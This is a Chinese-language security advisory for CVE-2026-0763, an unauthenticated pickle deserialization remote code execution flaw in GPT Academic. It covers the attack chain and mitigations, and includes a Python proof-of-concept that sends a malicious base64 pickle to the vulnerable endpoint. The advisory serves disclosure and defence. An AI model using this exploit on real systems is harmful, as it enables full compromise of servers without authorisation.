IPBUF安全漏洞报告
English
CVE-2026-0763 CVSS 9.8 严重

CVE-2026-0763 GPT Academic run_in_subprocess_wrapper_func反序列化远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0763
漏洞类型
反序列化远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GPT Academic

相关标签

CVE-2026-0763反序列化漏洞远程代码执行GPT AcademicZDI-CAN-27958pickle反序列化高危漏洞无需认证root权限执行run_in_subprocess_wrapper_func

漏洞概述

CVE-2026-0763是GPT Academic项目中的一个严重安全漏洞,CVSS评分高达9.8分(严重级别)。该漏洞位于run_in_subprocess_wrapper_func函数中,由于缺乏对用户输入数据的适当验证,导致不信任数据的反序列化问题。攻击者可以利用此漏洞在受影响的GPT Academic安装实例上远程执行任意代码,且无需任何身份认证或用户交互。成功利用此漏洞后,攻击者可以在root权限上下文中执行代码,从而完全控制受害系统。此漏洞由ZDI(Zero Day Initiative)披露,编号为ZDI-CAN-27958。由于GPT Academic是一个广泛使用的学术辅助工具,该漏洞对使用该工具的用户构成了重大安全威胁。建议受影响的用户立即采取修复措施,避免遭受远程攻击。

技术细节

该漏洞的根本原因在于GPT Academic的run_in_subprocess_wrapper_func函数存在不安全的反序列化操作。攻击者可以通过构造恶意的序列化数据(通常使用Python的pickle模块),当应用程序对这些数据进行反序列化时,会触发任意代码执行。具体来说,攻击者需要构造一个包含__reduce__()方法的恶意pickle对象,该方法在反序列化时会被自动调用,从而执行攻击者指定的系统命令或代码。由于该函数缺少对输入数据的严格验证和过滤,攻击者可以绕过安全检查直接注入恶意payload。由于此漏洞可通过网络远程利用,且不需要任何认证,因此具有极高的危害性。攻击者可以利用此漏洞在目标系统上执行任意命令、安装后门、窃取敏感数据或进行横向移动。

攻击链分析

STEP 1
步骤1
攻击者识别运行GPT Academic的目标服务器,并确认其版本存在CVE-2026-0763漏洞
STEP 2
步骤2
攻击者构造恶意pickle序列化payload,利用__reduce__()方法在反序列化时执行系统命令
STEP 3
步骤3
攻击者通过HTTP请求将base64编码的恶意payload发送到run_in_subprocess_wrapper_func函数端点
STEP 4
步骤4
目标服务器接收到恶意数据后,由于缺乏输入验证,直接对不信任数据进行反序列化操作
STEP 5
步骤5
反序列化过程中触发__reduce__()方法,攻击者指定的系统命令以root权限在服务器上执行
STEP 6
步骤6
攻击者获得服务器的完全控制权,可以执行任意代码、安装后门或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import base64 import requests # Generate malicious pickle payload for RCE class RCE: def __reduce__(self): cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) # For Python 3.x import os payload = pickle.dumps(RCE()) encoded_payload = base64.b64encode(payload).decode() # Send the payload to vulnerable endpoint target_url = "http://target:5000/run_subprocess" data = { "data": encoded_payload } try: response = requests.post(target_url, json=data, timeout=10) print(f"Payload sent. Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

GPT Academic < 3.11.4
GPT Academic 所有未修复版本

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过网络访问控制限制对GPT Academic服务的访问,仅允许受信任的IP地址访问;2)将GPT Academic服务部署在隔离的网络环境中;3)使用反向代理添加额外的安全层;4)监控应用程序日志以检测潜在的攻击行为;5)考虑使用SELinux或AppArmor等强制访问控制工具限制应用程序权限;6)定期备份重要数据以便在遭受攻击时进行恢复。建议用户密切关注官方安全公告,及时应用官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表